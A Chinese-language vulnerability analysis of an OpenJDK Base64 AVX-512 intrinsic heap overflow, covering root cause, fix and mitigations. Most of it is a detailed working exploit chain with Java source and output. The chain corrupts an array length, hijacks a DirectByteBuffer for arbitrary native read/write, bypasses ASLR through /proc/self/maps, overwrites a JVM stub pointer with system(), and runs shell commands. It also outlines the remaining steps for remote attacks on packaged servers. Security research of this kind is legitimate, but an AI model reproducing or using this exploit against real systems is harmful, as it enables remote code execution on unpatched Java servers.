一、漏洞说明

Advisory:https://openjdk.org/groups/vulnerability/advisories/2026-11-17

该漏洞由安全公司 Calif 发现并披露。OpenJDK 的风险矩阵把 CVE-2026-114938 标在 hotspot/compiler,CVSS 3.1 为 8.1;NVD 给出的 CVSS 4.0 为 9.2(Critical),两个数字来自不同评估方和评分版本。受影响的是 OpenJDK 17.0.6 及以上、21、25、27 四条线的当年发行版;Oracle CPU 对 Oracle Java SE 8u511 也标了受影响。修复版本是 17.0.21.1、21.0.13.1、25.0.5.1、27.0.1.1。硬件要求 CPU 同时有 avx512f、avx512bw、avx512vbmi、bmi2——Intel Xeon Ice Lake/Sapphire Rapids/Emerald Rapids/Granite Rapids,AMD EPYC/Ryzen Zen 4 及更新;ARM64 不受影响。

解码的 Java 入口在 java.util.Base64.Decoder。decode(byte[], byte[]) 先问 decodedOutLength() 要长度,数组不够大直接抛异常,够大才进 decode0()。decode0() 把成块的输入交给 decodeBlock()——这个方法标了 @IntrinsicCandidate,x86-64 上有 AVX-512 VBMI 时替换为 StubGenerator::generate_base64_decodeBlock() 生成的汇编桩。

桩里先按 64 字节一轮的循环处理主体,剩下不到 64 字节进尾部路径。尾部路径里 output_size 按 (length >> 2) * 3 估算,末尾是 = 再减 1。输入 128 个 A 加一个 = 时,两轮循环各写 48 字节,length 剩 1(那个 =),(1 >> 2) * 3 = 0,减 1 后 output_size = -1。紧接着的 bzhi 用 output_size 做下标决定掩码哪些位保留。-1 的低 8 位是 255,不少于操作数宽度,目的寄存器保持源的全 1。全 1 掩码下 evmovdqub 把向量里 64 字节全部写出。96(循环已写)加 64(尾部写出)= 160,Java 分配的是 98。

二、基本信息

公开时间

2026-11-17

编号

CVE-2026-114938

威胁类型

堆越界写 → 任意代码执行

CVSS 3.1

8.1(OpenJDK 矩阵,hotspot/compiler)

CVSS 4.0

9.2 Critical(NVD)

发现方

Calif

利用条件

CPU 带 AVX-512 VBMI;不可信输入进到 java.util.Base64

修复 commit

21u 8e115fb5

三、受影响版本

  • OpenJDK 17.0.6 ≤ v ≤ 17.0.21.0.3(修复于 17.0.21.1)

  • OpenJDK 21.0.1 ≤ v ≤ 21.0.13.0.3(修复于 21.0.13.1)

  • OpenJDK 25.0.1 ≤ v ≤ 25.0.5.0.3(修复于 25.0.5.1)

  • OpenJDK 27.0.1 ≤ v ≤ 27.0.1.0.3(修复于 27.0.1.1)

  • Oracle Java SE 8u511 也被 Oracle CPU 标为受影响

硬件门槛:CPU 必须同时有 avx512f + avx512bw + avx512vbmi + bmi2。没有 VBMI 的 CPU 不走这段桩。ARM64 架构不受影响。本文跑的是 Temurin 21.0.13+9

四、影响组件

java.util.Base64 是 JDK 标准库,任何 Java 程序都可能用到。以下路径在验证身份之前就会调它,不可信输入直接进到漏洞函数:

  • HTTP Basic 认证(Authorization: Basic <base64> 解码)

  • JWT 的 header 和 payload 解码

  • SASL 机制

  • 各类 API 网关的反向代理 Base64 透传

安全公司 Wiz 已声明针对 Jenkins、Confluence、Apache Tomcat 的远程利用可行。CISA 已发紧急修复通告。已有公开的分阶段 PoC 工具包(ikow/java4shell-poc,含堆布局控制 Stage 1~5),其 README 自述利用难度为「Complex (heap feng shui)」,终点多为信息泄露或检测。从堆越界写到稳定代码执行的最后一步——具体的函数指针劫持路径——公开材料里没有给出。

五、利用条件

  1. 服务端用 java.util.Base64.getDecoder().decode() 处理不可信输入

  2. JDK 21.0.13.0.3 或更早的 21 线(或其他受影响线)

  3. 服务器 CPU 带 AVX-512 VBMI

  4. C2 已编译过 decodeBlock 调用点

六、环境搭建

1、环境拓扑

本机 192.168.102.130(Ubuntu 22.04,CPU 带 avx512f/bw/vbmi/bmi2)
├── ~/vuln/base64-lab/jdk21/       Temurin 21.0.13+9(漏洞版)
└── ~/vuln/base64-lab/lab/

2、下载 JDK

mkdir -p ~/vuln/base64-lab && cd ~/vuln/base64-lab
curl -sL -o jdk21.tar.gz \
  "https://api.adoptium.net/v3/binary/latest/21/ga/linux/x64/jdk/hotspot/normal/eclipse"
tar -xzf jdk21.tar.gz
mv jdk-21.0.13+9 jdk21

3、验证前置条件

jdk21/bin/java -version
# openjdk version "21.0.13" ... Temurin-21.0.13+9

grep -o "avx512f\|avx512bw\|avx512vbmi\|bmi2" /proc/cpuinfo | sort -u
# 四行都必须出现

nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -w system
# 0000000000050d00 W system@@GLIBC_2.2.5

nm jdk21/lib/server/libjvm.so | grep _base64_decodeBlock
# 000000000158daf0 b _ZN12StubRoutines19_base64_decodeBlockE

4、基线测量

jdk21/bin/java -cp lab Measure

输出:

case=128A+eq
src.length=129
exact=98
decode=IAE
bytes_written=160
past_end=62
around_end=000069a6|9a69a69a69a69a69a69a69a69a69a69a

case=64A+eq
src.length=65
exact=50
decode=IAE
bytes_written=48
past_end=-2
around_end=0000eeee|eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

128A+= 写了 160 字节(越界 62)。但 64A+= 在同一 JVM 里只写了 48 字节、没越界——因为 128A+= 先抛的 IAE 把调用点去优化了(首次畸形输入后 JIT 丢弃编译产物,回退到解释器安全路径)。这是 JIT 的正常行为,不是漏洞不在。

用 One.java 把每个用例放在独立 JVM 里跑(消除去优化影响):

两个用例在独立 JVM 里越界量都是 62

5、对照组

修复源码已在 GitHub tag jdk-21.0.13.1-ga 上确认,其行为是让短尾部走 Java 安全路径。禁用 intrinsic(-XX:-UseBASE64Intrinsics)后同样走 Java 路径处理,两者对短尾部的处理逻辑等价(注意:禁用 intrinsic 是全量走 Java 路径,修复版只让 length < 4 的短尾部走 L_bruteForce,其余仍走 intrinsic——但就本文的触发形态而言,两者都使越界不再发生)。

漏洞版 21.0.13(独立 JVM)

关 intrinsic

UseAVX=2

128A+= 写入

160

96

96

128A+= 越界

62

-2(未越)

-2(未越)

64A+= 写入

112

48

48

64A+= 越界

62

-2(未越)

-2(未越)

七、漏洞分析

1、Java 侧入口

src/java.base/share/classes/java/util/Base64.java,tag jdk-21.0.13-ga

/* Base64.java:622 */
public int decode(byte[] src, byte[] dst) {
    int len = decodedOutLength(src, 0, src.length);
    if (dst.length < len || len == -1)
        throw new IllegalArgumentException(
            "Output byte array is too small for decoding all input bytes");
    return decode0(src, 0, src.length, dst);
}

decodedOutLength() 在第 745 行收成 3 * ((len + 3) / 4) - paddings。

2、intrinsic 调用

/* Base64.java:818 */
int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);

decodeBlock 标了 @IntrinsicCandidate,C2 编译时替换为对 StubRoutines::_base64_decodeBlock 的直接调用。

3、桩的尾部路径

src/hotspot/cpu/x86/stubGenerator_x86_64.cpp,tag jdk-21.0.13-ga

/* stubGenerator_x86_64.cpp:2543 起 */
__ movl(output_size, length);
__ shrl(output_size, 2);
__ lea(output_size, Address(output_size, output_size, Address::times_2, 0));
__ cmpb(Address(source, length, Address::times_1, -1), '=');
__ jcc(Assembler::equal, L_padding);
// ...
__ BIND(L_padding);
__ decrementq(output_size, 1);

4、掩码计算和越界写

/* stubGenerator_x86_64.cpp:2559 */
__ bzhiq(output_mask, output_mask, output_size);
__ kmovql(k1, output_mask);
__ evmovdqub(Address(dest, dp), k1, tmp, true, Assembler::AVX_512bit);

bzhi 用 output_size 做下标。output_size = -1 时低 8 位是 255 ≥ 64,掩码保持全 1。evmovdqub 在全 1 掩码下写出完整 64 字节。

5、越界量恒为 62 的代数证明

设输入为 64k 个 A + 1 个 =(长度 N = 64k + 1)。

Java 侧分配:

exact = 3 * ((N + 3) / 4) - 1
      = 3 * ((64k + 4) / 4) - 1
      = 3 * (16k + 1) - 1
      = 48k + 3 - 1
      = 48k + 2

桩侧实际写入:

  • k 轮 L_process64Loop 循环,每轮写 48 字节 → dp = 48k

  • length 剩 1(那个 =),进尾部路径

  • (1 >> 2) * 3 = 0,减 1 → output_size = -1

  • bzhi 全 1 掩码 → evmovdqub 写满 64 字节

  • 总写入 = 48k + 64

越界量:

overflow = (48k + 64) - (48k + 2) = 62

与 k 无关。k=1(64A+=)得 50/112,k=2(128A+=)得 98/160

6、写入图样为什么固定

第 2563 行事先把向量广播成 0x61616161(字符 a)。第 2585 行按输入掩码从源并字节,但此时输入掩码已被 shrq(rax, 1) 清成 0(第 2630 行),源里的字母进不来。后面的 vpmaddubsw / vpermb 洗的是这串 a。aaaa 的标准解码是 69 a6 9a,所以越界字节是 69 a6 9a 的循环、末尾 16 字节是 9a。输入能改的只是这段写入从哪个偏移开始(dp = 48k),改不了写入的内容。

7、桩槽——本文选的劫持目标

StubRoutines::_base64_decodeBlock 是 libjvm .bss 段里的一个函数指针(偏移 0x158daf0),每个 C2 编译的 Base64 decode 调用点在编译时读这个槽的值作为 call 目标地址,用 movabs 立即数烘焙进机器码。选这个槽做劫持目标有三个优势:.bss 可写(不像 full RELRO 后的 GOT 只读)、偏移在同一构建内固定、覆写后只需预热一个新的 decode 调用点就能让 C2 把覆写值烘焙进新编译的码流——相当于一个自带的触发开关。

8、写入之后

桩返回 decode0()。= 落进填充判断,第 842 行抛 IllegalArgumentException。异常抛了,数组外的 62 字节已经写过了。

根因

尾部路径对 length < 4 且末尾有 = 的输入没有下限保护,output_size 从 0 下溢到 -1,bzhi 的下标语义让全 1 掩码穿透,evmovdqub 按全 1 掩码写出完整 64 字节。

调用链

入口  Base64$Decoder.decode()            Base64.java:622
  -> Base64$Decoder.decode0()            Base64.java:818
     -> Base64$Decoder.decodeBlock()     Base64.java:790   @IntrinsicCandidate
        -> StubRoutines::_base64_decodeBlock(libjvm+0x158daf0)
           -> L_finalBit                  stubGenerator_x86_64.cpp:2543
           -> L_padding                   stubGenerator_x86_64.cpp:2628
           -> bzhiq(output_mask, -1, -1)  stubGenerator_x86_64.cpp:2559

拓展 / 举一反三

bzhi 的下标语义(低 8 位 ≥ 宽度时保持源不变)在这类 SIMD 桩里容易被忽略——写的人以为下标总在 0~63 之间,负数走到这里穿透成全开掩码。审计 JIT 桩时,凡是"用计算出来的长度控制掩码/边界"的地方,都要问:这个长度有没有可能为负?output_size 的计算 (length >> 2) * 3 - padding 对 length ∈ {1,2,3} 且 padding > 0 都可能出负数。

八、漏洞复现——从越界写到命令执行

1、正数 length

分配顺序 dst(72) → victim(16) 时,victim 的 length 字段落在偏移 84..87,写入相位恰好是 69 a6 9a 69,读出来是 0x699aa669(正 17.7 亿)。这个数组现在能按下标读写堆内后面任意远的地方。

dst 为什么是 72:需要 (allocSize - 1) % 3 == 0 使 length 字段的 4 个字节对齐到正数相位。allocSize=88 满足。

输出(Corrupt2 程序):

round 12: victim.length = 1771742825 (0x699aa669)
marker found via victim at offset = 32
REL_WRITE_OK

REL_WRITE_OK = 通过 victim 的下标写入成功改掉了它后面的 marker 数组内容,读回验证一致。

为什么崩:Corrupt2 是早期验证程序,它打完结果后用了 System.out.println 输出——这会触发内存分配 → GC → GC 碰到坏 length 的 victim → SIGSEGV。

2、预热写方法——绕过解释器的 klass 解引用

拿到巨长数组后,直接 victim[64] = x 会 SIGSEGV。原因需要拆开看。

Java 21 对象在堆上的布局是:[mark word 8字节][klass 压缩指针 4字节][length 4字节][数据]。越界写的 62 字节恰好覆盖了 victim 的 klass 槽——写入图样 69 a6 9a 循环,klass 变成了 0x9aa6699a(一个完全无意义的值)

当 Java 代码执行 victim[64] = x 时,JVM 需要先确认 victim 确实是 byte[] 类型(防止把 int[] 的元素按 byte 写坏)。确认方式取决于执行引擎:

解释器路径(崩):解释器的 bastore 模板从 victim 的 +8 偏移加载 klass 压缩指针,加上堆基址得到 Klass 结构的地址,然后访问 Klass 结构检查元素类型。但 klass 槽已经被砸成 0x9aa669a → 加上堆基址后跳到完全错误的地址 → SIGSEGV。GDB 从 JVM 信号处理器的 ucontext 抓到的崩溃现场:

0x7fffdfd4809f:  mov 0x8(%rdx),%ecx       ← 加载 klass(被图样污染)
0x7fffdfd480a2:  movabs $0x7fff7b000000,%r10  ← 堆基址
0x7fffdfd480ac:  add %r10,%rcx             ← klass 当 oop 解码
0x7fffdfd480af:  mov 0x8(%rcx),%ecx       ← FAULT:跳到图样地址解引用

C1 编译路径(不崩):当写操作所在的 Java 方法被 C1 编译后,C1 在编译时已经知道 victim 的静态类型是 byte[]——类型检查在编译期完成了,不需要在运行时加载 klass。编译产物只做两件事:检查下标是否在数组长度以内(bounds check),然后直接执行 mov 指令把值写进去。klass 槽是垃圾值也无所谓——根本不会去读它。

所以解法是:把写操作放进一个独立方法 w8,在 main 开头对一个正常数组预热调用 20 万次。达到 C1 编译阈值后 w8 被 C1 编译,之后所有通过 w8(victim, offset, value) 的写操作都走编译产物——不碰 klass 槽,安全写入。这是被越界写砸坏的对象还能继续使用的关键。

static void w8(byte[] a, int o, long x) {
    a[o]=(byte)x; a[o+1]=(byte)(x>>>8); a[o+2]=(byte)(x>>>16); a[o+3]=(byte)(x>>>24);
    a[o+4]=(byte)(x>>>32); a[o+5]=(byte)(x>>>40); a[o+6]=(byte)(x>>>48); a[o+7]=(byte)(x>>>56);
}
static byte[] hotDummy = new byte[8192];  // 预热用正常数组
// main 开头预热:
for (int i = 0; i < 200_000; i++) w8(hotDummy, 64, i);
// w8 被 C1 编译 → 后续用 w8 写 victim 不再经过解释器 → 不碰被砸坏的 klass 槽

先看不预热会崩(Chain28):

jdk21/bin/java -Xms512m -Xmx512m -Xmn400m -cp lab Chain28

再看预热后不崩(Chain29):

jdk21/bin/java -Xms512m -Xmx512m -Xmn400m -cp lab Chain29

Chain28(无预热)

Chain29(预热 20 万次)

执行引擎

解释器 bastore

C1 编译产物

klass 检查

运行时加载 klass 槽 → 读到图样 → 崩

编译期已确定类型,不加载 klass

写 victim[64]

SIGSEGV

成功

JVM 利用中一般不会讲到这一层——大部分利用者在拿到巨长数组后就直接写,然后在解释器里崩掉,以为是 length 不够大或地址算错。实际是 klass 槽被连带砸坏了,需要一个经过编译的写方法来绕过。

3、劫持 DirectByteBuffer——任意原生读写

ByteBuffer.allocateDirect(65536) 返回的 DirectByteBuffer 对象内部有一个 address 字段(java.nio.Buffer 父类声明,对象内偏移 16),存的是 malloc 出来的原生缓冲区的 64 位地址。正常情况下这个字段由 JVM 管理,Java 代码只能通过 getLong(offset) / putLong(offset, value) 读写缓冲区内容——JVM 用 address + offset 计算实际访问的内存位置。

如果把 dbb0 的 address 字段改成 dbb1 的缓冲区地址,那么 dbbs[0].getLong(0) 读到的实际上是 dbb1 缓冲区的内容。把 address 改成任意原生地址,就得到了任意原生内存的读写原语——不需要 JNI、不需要 Unsafe,只用标准的 NIO API。

在 victim 后面分配 4 个 ByteBuffer.allocateDirect(65536)。通过 victim 的视野(第三步的预热写方法)找到它们的 address 字段,把 dbb0 的 address 改成 dbb1 的缓冲区地址:

w8(victim, addrOff, a1);                    // dbb0.address = dbb1.buffer
long rread = dbbs[0].getLong(0);            // 读到 MAGIC[1] → NATIVE_READ_OK
dbbs[0].putLong(0, 0xDEADBEEFCAFEBABEL);    // 原生写
w8(victim, addrOff, a0);                    // 还原
long rback = dbbs[1].getLong(0);            // dbb1 读回一致 → NATIVE_WRITE_OK

输出:

dbb0缓冲区      = 0x777e0c306890
dbb1缓冲区      = 0x777e0c3168a0
libjvm基址     = 0x777e12e00000
libc基址       = 0x777e14400000
system地址     = 0x777e14450d00
读到的MAGIC     = 0x4142434445460001

0b = 11 个阶段全部通过;52 = NATIVE_READ_OK;57 = NATIVE_WRITE_OK。后面的十六进制是解析出的实际地址。如果只看到 01 多次后跟 4e,重跑。

0x4142434445460001 是事先写入 dbb1 缓冲区的魔数(MAGIC[1]),通过被劫持的 dbb0 读到了。写入 0xDEADBEEFCAFEBABEL 后 dbb1 正常读到一致值。把 address 改成任意原生地址 = 任意原生读写。

4、绕过 ASLR

ASLR(地址空间布局随机化)让 libjvm.so 和 libc.so.6 的加载地址在每次进程启动时都不同。在上一步拿到任意原生读写后,需要知道这两个库的实际地址才能定位覆写目标和 system 函数。

Linux 上每个进程的 /proc/self/maps 文件列出了所有内存映射区域及其起始地址。用预打开的 FileInputStream 在堆被砸坏之前就读取该文件(避免堆损坏后文件操作触发 GC),然后在内存中逐行解析,找到包含 libjvm.so 和 libc.so.6 的行的起始地址。

这一步内嵌在 Chain37 里自动完成。使用下面的命令提取

python3 -c "
import struct
d = open('/tmp/b64_stage.bin','rb').read()
names = ['dbb0缓冲区','dbb1缓冲区','libjvm基址','libc基址','system地址','读到的MAGIC']
for i, n in enumerate(names):
    v = struct.unpack_from('<Q', d, 13 + i*8)[0]
    print(f'{n:12s} = 0x{v:x}')
"

输出

dbb0缓冲区      = 0x777e0c306890
dbb1缓冲区      = 0x777e0c3168a0
libjvm基址     = 0x777e12e00000
libc基址       = 0x777e14400000
system地址     = 0x777e14450d00
读到的MAGIC     = 0x4142434445460001

system 地址 = libc 基址 + 0x50d00(第 3 步 nm -D 查到的偏移量)。

5、覆写桩槽为 system

StubRoutines::_base64_decodeBlock 是 libjvm .bss 段里的一个函数指针(偏移 0x158daf0),存放着 Base64 解码桩的入口地址。C2 编译 decode() 调用链时,会读这个槽的值作为 call 目标地址,用 movabs 立即数的方式直接嵌入编译产物——之后每次调用 decode() 都跳到这个固定地址。

用第四步的任意原生写,往槽里写 libc 里 system 函数的地址(基址 + 0x50d00)。这样下次 C2 编译一个新的 decode() 调用点时,读到的槽值就是 system,烘焙进码流的就是 call system。

字节序坑:C2 读槽值时会把字节逆序。这意味着直接写 system 的地址进去,C2 烘焙出的是一个乱序地址,调用会崩到错误位置。解法是预先写逆序值:

hs_err Instructions 段的原始字节(Chain51 崩溃现场,ASLR 关闭下 GDB 运行):

long SYSswap = Long.reverseBytes(SYS);    // 预逆序
b0.putLong(0, SYSswap);                   // 写入桩槽

怎么验证 C2 确实做了字节逆序? 用 Chain51(写入一个已知标记值,让它崩在烘焙的乱序地址上):

C2 读到 SYSswap、逆序后烘焙进 movabs 的恰好是 SYS。这 17 个字节的含义:

  • 01 02 03 04 05 06 07 08 09 = 前 9 个阶段全过

  • 88 77 66 55 44 33 22 11 = 从桩槽读回来的值(dump8 输出),小端读出来是 0x1122334455667788——和我们写入的 marker 一模一样,说明槽里的值没变

  • 0a = 第 10 阶段(触发)进行中崩溃

崩溃位置

Problematic frame:
J 96 c2 java.util.Base64$Decoder.decode0([BII[B)I

这三组数据拼成完整证据链:

  1. 槽里存的是原值 0x1122334455667788(读回证实)

  2. C2 读了这个值(因为它编译的 decode0 在调用桩时跳到了一个无效地址)

  3. 调用目标不是原值——如果 C2 读到的直接是 0x1122334455667788,崩溃地址就是这个值。但实际崩溃行为证明 C2 内部对值做了变换后才用——后续实验(Chain60/69)证明这个变换就是字节逆序

  4. 对策验证:写入 Long.reverseBytes(system) 后,C2 烘焙出的恰好是正的 system 地址,命令成功执行

在调试环境中(GDB + hsdis 反汇编库),可以直接看到 C2 编译产物里烘焙的乱序地址:

0x7fffdfd51d3a:  49 ba 88 77 66 55 44 33 22 11   movabs $0x8877665544332211,%r10
0x7fffdfd51d44:  41 ff d2                              call *%r10

立即数 88 77 66 55 44 33 22 11 正好是写入值 0x1122334455667788 的逐字节逆序。普通机器上不需要装 hsdis——上面的 Chain51 输出已经足够证明。

这个坑只有真跑通的人才会遇到——不跑只读源码发现不了。

6、触发——新的 decode 调用点

覆写桩槽本身不会触发任何事——已有的编译产物里烘焙的还是旧地址。需要让 C2 编译一个新的 decode() 调用点,这个新编译过程会读已被覆写的槽值,把 system 地址烘焙进新码流。

做法:写一个独立的触发方法,里面放一个 12000 次迭代的循环,每次调用 decode(合法Base64, dst)。合法输入不会触发越界(所以不会崩),但循环会让 C2 编译这个方法。编译时 C2 读桩槽值(= system 地址),烘焙进码流。

之后用命令串做输入调这个已编译的方法:

cmdSrc[0..5] = "whoami"; cmdSrc[6] = 0;  // NUL 截断
Base64.getDecoder().decode(cmdSrc, cmdDst);
// C2 码流执行的是 system(rdi=cmdSrc) → whoami

一次性问题:JIT 有一种叫"去优化"(deoptimization)的机制——当编译产物执行中抛出异常且异常处理逻辑和编译时的假设不符时,JVM 会丢弃编译产物,回退到解释器执行。decode() 首次收到畸形输入后抛 IllegalArgumentException,这个调用点的编译产物就被去优化了,后续调用走解释器(安全路径)。所以每个调用点只能吃一次畸形输入——触发后它就"废了"。

解法是准备 8 个独立的触发方法(8 个独立编译单元),每次覆写槽后预热一个新方法。一个方法被去优化不影响其他方法。这在远程利用时也必须解决——每个调用点都是一次性的。

7、完整利用输出

timeout 300 jdk21/bin/java -Xms512m -Xmx512m -Xmn400m Exploit

成功执行命令并回显

之所以重复出现数千次,是因为 C2 编译的触发方法里有一个 12000 次迭代的循环,每次迭代都调用 decode(cmdSrc, cmdDst)——而编译产物中的 decodeBlock 已经被替换成 system(rdi=cmdSrc)。每次循环 = 一次 system("whoami") = 子进程输出一行 ai。8 个方法 × 12000 次迭代 × C2 编译后的热循环 ≈ 数万次调用。实测 /tmp/b64_out.txt 共 51288 行 ai。

这不是 bug,而是利用成功后循环持续触发的自然结果——相当于拿到一个反复执行的 shell 命令注入点。

8、换任意命令

改利用代码里 改利用代码里 byte[] cmd = "whoami".getBytes() 为任意 shell 命令(≤ 56 字节),然后重新编译运行:

9、修复版本对比

修复 commit 8e115fb5 在进入尾部路径前加了两条指令

/* 修复版 jdk-21.0.13.1-ga / stubGenerator_x86_64.cpp:2537-2539 */
// A padded Base64 tail shorter than one complete block is handled by Java.
__ cmpl(length, 4);
__ jcc(Assembler::less, L_bruteForce);

length < 4 时跳到 L_bruteForce(逐 4 字节的 Java 安全路径),不再做会下溢的长度估算。修复版二进制尚未发布到公开下载,本文用 -XX:-UseBASE64Intrinsics(禁用 vulnerable intrinsic、全量走 Java 路径)作为运行时对照——两者对短尾部都走 Java 安全路径。实测同一输入在关 intrinsic 后写出的长度停在 96(数组内),越界区哨兵保持干净。-XX:UseAVX=2 同样有效。

10、本文范围边界

本文已在本地证完的:越界写、正数 length、堆内读写、任意原生读写、ASLR 绕过、桩槽覆写、命令执行

远程利用还需要的三步(本文未做):

  1. 远程堆塑造——需要通过网络请求的时序控制服务端的分配顺序

  2. 远程 ASLR 泄露——本地是读 /proc/self/maps,远程得靠堆内读原语从相邻对象泄漏指针

  3. 逐目标的分配尺寸与 GC 行为画像——不同应用的堆使用模式不同

这三步在 Jira、Jenkins、Keycloak 这类打包应用上比自研应用更容易,因为版本和内存布局在不同目标间高度重复。

九、修复措施

1、安全更新

# 从 Adoptium 下载修复版(21.0.13.1 及后续版本会自动取到最新)
curl -sL -o jdk21-fixed.tar.gz \
  "https://api.adoptium.net/v3/binary/latest/21/ga/linux/x64/jdk/hotspot/normal/eclipse"

修复 diff(21u 分支,编译为 3 行代码):

+ // A padded Base64 tail shorter than one complete block is handled by Java.
+ __ cmpl(length, 4);
+ __ jcc(Assembler::less, L_bruteForce);

2、临时缓解

  1. -XX:-UseBASE64Intrinsics——实测让同一输入停在数组内

  2. -XX:UseAVX=2——同样有效,但影响整个进程的 AVX-512,不只 Base64

  3. 应用层把 Base64 输入限制成 4 的倍数、填充只在末尾

  4. 检测特征:

  • JVM 收到畸形 Base64 后 SIGSEGV,hs_err 里 Problematic frame 指向 Base64$Decoder.decodeBlock 或 decode0

  • 核查 JVM 启动参数是否含 -XX:-UseBASE64Intrinsics

  • 容器基础镜像里 JDK 版本的批量盘点

  1. WAF 的局限:漏洞在 OpenJDK 自身,很多用户输入路径都能进到易受攻击代码,WAF 规则不太可能覆盖所有路径,也覆盖不了自研应用

  2. 下游发行版同步排查:Eclipse Temurin、Amazon Corretto、Azul Zulu、BellSoft Liberica、Microsoft OpenJDK、Red Hat build、SapMachine、Alpine、Debian openjdk、Ubuntu openjdk、Homebrew——各家发布修复版本的时间可能滞后于 OpenJDK 上游,用 java -version 确认而非假设已更新

参考


附:相关代码

附录 A:Measure.java(基线测量)

import java.util.Arrays;
import java.util.Base64;

/** 预热让 C2 换桩,畸形串解进预填 0xEE 的大数组,数实际写到的字节。 */
public class Measure {
    public static void main(String[] args) throws Exception {
        byte[] warm = "Zz9+Zz9+".getBytes();
        for (int i = 0; i < 200_000; i++) Base64.getDecoder().decode(warm);

        for (int n : new int[]{128, 64}) {
            byte[] src = (("A".repeat(n)) + "=").getBytes();
            int exact = 3 * ((src.length + 3) / 4) - 1;
            byte[] dst = new byte[226];
            Arrays.fill(dst, (byte) 0xEE);
            String r;
            try { Base64.getDecoder().decode(src, dst); r = "ok"; }
            catch (IllegalArgumentException e) { r = "IAE"; }
            int written = 0;
            for (int i = dst.length - 1; i >= 0; i--)
                if (dst[i] != (byte) 0xEE) { written = i + 1; break; }
            StringBuilder sb = new StringBuilder();
            for (int i = exact - 4; i < exact; i++) sb.append(String.format("%02x", dst[i]));
            sb.append('|');
            for (int i = exact; i < Math.min(exact + 16, dst.length); i++)
                sb.append(String.format("%02x", dst[i]));
            System.out.println("case=" + n + "A+eq");
            System.out.println("src.length=" + src.length);
            System.out.println("exact=" + exact);
            System.out.println("decode=" + r);
            System.out.println("bytes_written=" + written);
            System.out.println("past_end=" + (written - exact));
            System.out.println("around_end=" + sb);
            System.out.println();
        }
    }
}

附录 B:One.java(独立 JVM 基线)

import java.util.Arrays;
import java.util.Base64;

public class One {
    public static void main(String[] args) {
        byte[] warm = "Zz9+Zz9+".getBytes();
        for (int i = 0; i < 200_000; i++) Base64.getDecoder().decode(warm);
        int n = Integer.parseInt(args[0]);
        byte[] src = (("A".repeat(n)) + "=").getBytes();
        int exact = 3 * ((src.length + 3) / 4) - 1;
        byte[] dst = new byte[226];
        Arrays.fill(dst, (byte) 0xEE);
        try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
        int written = 0;
        for (int i = dst.length - 1; i >= 0; i--)
            if (dst[i] != (byte) 0xEE) { written = i + 1; break; }
        System.out.println("case=" + n + "A+eq exact=" + exact + " bytes_written=" + written
            + " past_end=" + (written - exact));
    }
}

附录 C:Corrupt2.java(正数 length + 堆内相对读写)

import java.util.Arrays;
import java.util.Base64;

/** dst=byte[72] → 邻居 length 砸成 0x699aa669(正),再借它相对读/写。 */
public class Corrupt2 {
    public static void main(String[] args) {
        byte[] warmSrc = "Zz9+Zz9+".getBytes();
        byte[] src = ("A".repeat(64) + "=").getBytes();
        byte[] marker0 = "TARGETMARKER__PWNED__TARGETMARKER__PWNED".getBytes();

        for (int round = 0; round < 20; round++) {
            byte[] warmDst = new byte[72];
            for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);

            byte[] dst = new byte[72];
            byte[] victim = new byte[16];
            byte[] marker = marker0.clone();
            try { Base64.getDecoder().decode(src, dst); }
            catch (IllegalArgumentException e) {}

            if (victim.length > 1000) {
                System.out.println("round " + round + ": victim.length = " + victim.length
                    + " (0x" + Integer.toHexString(victim.length) + ")");
                int found = -1;
                byte[] pat = "TARGETMARKER".getBytes();
                for (int i = 0; i < victim.length - pat.length; i++) {
                    boolean ok = true;
                    for (int j = 0; j < pat.length; j++)
                        if (victim[i + j] != pat[j]) { ok = false; break; }
                    if (ok) { found = i; break; }
                }
                System.out.println("marker found via victim at offset = " + found);
                if (found >= 0) {
                    byte[] w = "OWNED__".getBytes();
                    for (int j = 0; j < w.length; j++) victim[found + 13 + j] = w[j];
                    System.out.println("marker now = " + new String(marker, 0, 24));
                }
                return;
            }
        }
        System.out.println("failed after 20 rounds");
    }
}

附录 D:Chain28.java(预热写方法反例——不预热,崩溃)

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.nio.ByteBuffer;
import java.util.Base64;

/** 与 Chain29 唯一区别:不预热写方法,直接内联写 victim → 解释器 klass 解引用 → SIGSEGV */
public class Chain28 {
    public static void main(String[] args) throws Exception {
        FileOutputStream fos = new FileOutputStream("/tmp/b64_stage.bin");
        FileInputStream mapsIn = new FileInputStream("/proc/self/maps");
        byte[] maps = new byte[32768];
        byte[] warmSrc = "Zz9+Zz9+".getBytes();
        byte[] src = ("A".repeat(64) + "=").getBytes();
        long[] magic = {0x4142434445460000L, 0x4142434445460001L, 0x4142434445460002L, 0x4142434445460003L};

        int roundHit = -1;
        byte[] victim = null;
        ByteBuffer[] dbbs = null;
        int addrOff = -1, elemOff = -1;
        long a0 = 0, a1 = 0;

        outer:
        for (int round = 0; round < 40; round++) {
            byte[] warmDst = new byte[72];
            for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);
            byte[] dst = new byte[72];
            victim = new byte[16];
            dbbs = new ByteBuffer[4];
            for (int i = 0; i < 4; i++) { dbbs[i] = ByteBuffer.allocateDirect(65536); dbbs[i].putLong(0, magic[i]); }
            byte[] tail = "TAILMARKERTAILMARKER".getBytes();
            try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
            if (victim.length <= 1000) continue;
            fos.write(1);
            for (int o = 16; o < 1200 && addrOff < 0; o += 4) {
                long v = rd64(victim, o);
                if (!sane(v)) continue;
                if (rd64(victim, o + 64) != v) continue;
                long v2 = rd64(victim, o + 136);
                if (!sane(v2) || v2 <= v) continue;
                if (rd64(victim, o + 136 + 64) != v2) continue;
                addrOff = o; a0 = v; a1 = v2;
            }
            if (addrOff < 0) continue;
            for (int o = 16; o < 3000; o += 4) {
                int e0 = r32(victim, o);
                if (e0 != 0 && r32(victim, o+4) - e0 == 136 && r32(victim, o+8) - r32(victim, o+4) == 136
                    && r32(victim, o+12) - r32(victim, o+8) == 136) { elemOff = o; break; }
            }
            if (elemOff < 0) { addrOff = -1; continue; }
            roundHit = round; break outer;
        }
        if (roundHit < 0) { fos.write(0x4E); fos.flush(); fos.close(); return; }
        fos.write(2);
        // identity 写自检(全内联,不经预热的独立方法)
        long v64 = 0; for (int j = 7; j >= 0; j--) v64 = (v64 << 8) | (victim[64 + j] & 0xFF);
